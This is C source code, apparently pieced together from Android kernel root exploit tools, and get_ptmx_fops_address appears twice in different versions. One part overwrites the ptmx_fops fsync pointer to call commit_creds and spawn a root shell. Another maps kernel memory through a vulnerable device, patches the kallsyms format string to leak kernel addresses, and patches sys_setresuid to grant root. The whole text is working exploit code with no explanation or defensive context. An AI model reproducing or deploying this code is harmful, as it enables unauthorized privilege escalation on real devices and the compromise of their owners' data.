int main(int argc, char **argv) { char* command = NULL; int i; for (i = 1; i < argc; i++) { if (!strcmp(argv[i], "-c")) { if (++i < argc) { command = argv[i]; } } } /* find the ptmx_fops structure location in the kernel * and offset 0x38 [ 56 ] bytes this should be the location * of the fsync member. * NOTE: We assume knowledge of the ptmx_fops layout. */ void *ptmx_fops = kallsyms_get_symbol_address("ptmx_fops"); unsigned int ptmx_fops_fsync_address = (unsigned int)ptmx_fops + 0x38; prepare_kernel_cred = (prepare_kernel_cred_t)kallsyms_get_symbol_address("prepare_kernel_cred"); commit_creds = (commit_creds_t)kallsyms_get_symbol_address("commit_creds"); printf("ptmx_fops_fsync_address %p\n",ptmx_fops_fsync_address); printf("prepare_kernel_cred %p\n",prepare_kernel_cred); printf("commit_creds %p\n",commit_creds); if(pipe_write_value_at_address(ptmx_fops_fsync_address,(unsigned int)&ptmx_fsync_callback )){ int fd = open(PTMX_DEVICE, O_WRONLY); if(!fd) return 1; fsync(fd); close(fd); pipe_write_value_at_address(ptmx_fops_fsync_address, 0); } if (getuid() != 0) { printf("Failed to obtain root privilege.\n"); exit(EXIT_FAILURE); }else { printf("Got Root1.\n"); } if (command == NULL) { system("/system/bin/sh"); } else { execl("/system/bin/sh", "/system/bin/sh", "-c", command, NULL); } exit(EXIT_SUCCESS); }
bool setup_creds_functions(void) { if (kallsyms_exist()) { prepare_kernel_cred = kallsyms_get_symbol_address("prepare_kernel_cred"); commit_creds = kallsyms_get_symbol_address("commit_creds"); return true; } if (get_creds_functions_addresses((void**)&prepare_kernel_cred, (void**)&commit_creds)) { return true; } return find_creds_functions_in_memory(); }
unsigned long int get_ptmx_fops_address(void) { int i; device_id_t device_id; device_id = detect_device(); for (i = 0; i < n_supported_devices; i++) { if (supported_devices[i].device_id == device_id) { return supported_devices[i].ptmx_fops_address; } } if (kallsyms_exist()) { unsigned long int address; address = kallsyms_get_symbol_address("ptmx_fops"); if (address) { return address; } } print_reason_device_not_supported(); return 0; }
void * get_remap_pfn_range_address(void) { if (kallsyms_exist()) { return kallsyms_get_symbol_address("remap_pfn_range"); } return (void*)_get_remap_pfn_range_address(); }
bool setup_remap_pfn_range_address(void) { if (remap_pfn_range) { return true; } remap_pfn_range = (void *)device_get_symbol_address(DEVICE_SYMBOL(remap_pfn_range)); if (!remap_pfn_range && kallsyms_exist()) { remap_pfn_range = kallsyms_get_symbol_address("remap_pfn_range"); } return !!remap_pfn_range; }
bool setup_vmalloc_exec_address(void) { if (vmalloc_exec) { return true; } vmalloc_exec = (void *)device_get_symbol_address(DEVICE_SYMBOL(vmalloc_exec)); if (!vmalloc_exec && kallsyms_exist()) { vmalloc_exec = (void *)kallsyms_get_symbol_address("vmalloc_exec"); } return !!vmalloc_exec; }
bool kallsyms_exist(void) { struct stat st; if (stat("/proc/kallsyms", &st) < 0) { return false; } if (st.st_mode & S_IROTH) { return kallsyms_get_symbol_address("_stext") != 0; } return false; }
static unsigned long int get_ptmx_fops_address(void) { unsigned long int address; address = device_get_symbol_address(DEVICE_SYMBOL(ptmx_fops)); if (address) { return address; } if (kallsyms_exist()) { address = kallsyms_get_symbol_address("ptmx_fops"); if (address) { return address; } } return 0; }
int exec_exploit(struct exploit *exp, int args, char **cmd) { FILE *f; int fd, ret, m, length, index; char line[512]; char *str = NULL; char *ptr = NULL; unsigned long *paddr = NULL; unsigned long *tmp = NULL; unsigned long *restore_ptr_setresuid = NULL; unsigned long addr_sym = 0; unsigned long tmp2 = 0; unsigned long start_offset = 0; unsigned long *new_offset = NULL; bool found = false; struct restore_fmt r_fmt = { NULL, 0}; struct stat device_info; // Check if the vulnerable device exists if(stat(exp->dev, &device_info) < 0) { cleanup(exp); return 0; } // Exec pre_init function if defined if(exp->pre_init != NULL) { if(!exp->pre_init(exp)) { cleanup(exp); return 0; } } fd = open(exp->dev, O_RDWR); if(fd < 0) { cleanup(exp); return 0; } exp->fd = fd; // Exec init function ret = exp->init(exp); if(!ret) { cleanup(exp); return 0; } length = exp->length; start_offset = exp->start_offset; /* Map the required kernel physical memory */ paddr = (unsigned long *)mmap(NULL, length, PROT_READ | PROT_WRITE, MAP_SHARED, exp->fd, exp->offset); new_offset = paddr; if(start_offset) new_offset = (unsigned long *) ( ((unsigned long) new_offset) + (start_offset << 2)); tmp = new_offset; if (paddr == MAP_FAILED) { cleanup(exp); return 0; } f = fopen("/proc/kallsyms", "r"); if(!f) { cleanup(exp); return 0; } memset(line, 0, sizeof(line)); if(!(fgets(line, sizeof(line), f))) { cleanup(exp); return 0; } str = strtok(line, " "); // Check if it is already possible to read kernel symbols from kallsyms if(!strtoul(str, NULL, 16)) { if((exp->length - 12) == 0) { cleanup(exp); return 0; } // Use libkallsyms first if(kallsyms_in_memory_init(tmp, exp->length)) addr_sym = (unsigned long) kallsyms_in_memory_lookup_name("sys_setresuid"); // If libkallsyms failed try a second method if(!addr_sym) { /* * search the format string "%pK %c %s\n" in memory * and replace "%pK" by "%p" to force display kernel * symbols pointer */ for(m = 0; m < (length - 12); m += 4) { if(*(unsigned int *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && ((*(unsigned long *)(tmp+2)) & 0x0000ffff) == 0x00000a73) { r_fmt.ptr_fmt = (unsigned long *)tmp; r_fmt.ptr_fmt_value = *(unsigned long *)tmp; *(unsigned long*)tmp = 0x20207025; found = true; break; } else if( ((*(unsigned int *)tmp) & 0x0000ffff) == 0x00007025 && *(unsigned long *)(tmp+1) == 0x6325204b && *(unsigned long *)(tmp+2) == 0x0a732520) { r_fmt.ptr_fmt = (unsigned long *)(tmp+1); r_fmt.ptr_fmt_value = *(unsigned long *)(tmp+1); *(unsigned long*)(tmp+1) = 0x63252020; found = true; break; } else if(((*(tmp) & 0x00ffffff) == 0x4b7025) && *(unsigned long *)(tmp+1) == 0x20632520 && ((*((unsigned long *)(tmp+2))) & 0x00ffffff) == 0x000a7325) { r_fmt.ptr_fmt = (unsigned long *)tmp; r_fmt.ptr_fmt_value = *(unsigned long *)tmp; *(unsigned long*)tmp = (*(tmp)) & 0xff20ffff; found = true; break; } else tmp++; } if (found == false) { cleanup(exp); return 0; } fclose(f); // Now we should be able to read /proc/kallsyms addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid"); } } // If kallsysms is already mapped use it else addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid"); if(!addr_sym) { cleanup(exp); return 0; } if(addr_sym) { tmp2 = (unsigned long) (MEMORY_OFFSET + addr_sym) >> 2; tmp2 = tmp2 << 2; tmp2 += (unsigned long) new_offset; tmp = (unsigned long *)tmp2; for(m = 0; m < 128; m += 4) { // Search the cmp $r0, 0 check in the mapped sys_setresuid function if (*(unsigned long *)tmp == 0xe3500000) { // Patch with a cmp $r0, 1 instraction restore_ptr_setresuid = tmp; *(unsigned long *)tmp = 0xe3500001; break; } tmp++; } } // Finalize if(!exp->finalize(exp)) { cleanup(exp); return 0; } /* ask for root */ ret = setresuid(0, 0, 0); if(ret) { cleanup(exp); return 0; } // If everything was ok we are root now exec_payload(args, cmd); /* restore memory */ if(r_fmt.ptr_fmt != NULL) *r_fmt.ptr_fmt = r_fmt.ptr_fmt_value; if(restore_ptr_setresuid != NULL) *(unsigned long *)restore_ptr_setresuid = 0xe3500000; msync(paddr, length, 4); munmap(paddr, length); close(fd); if(exp->fd2) close(exp->fd2); return 1; }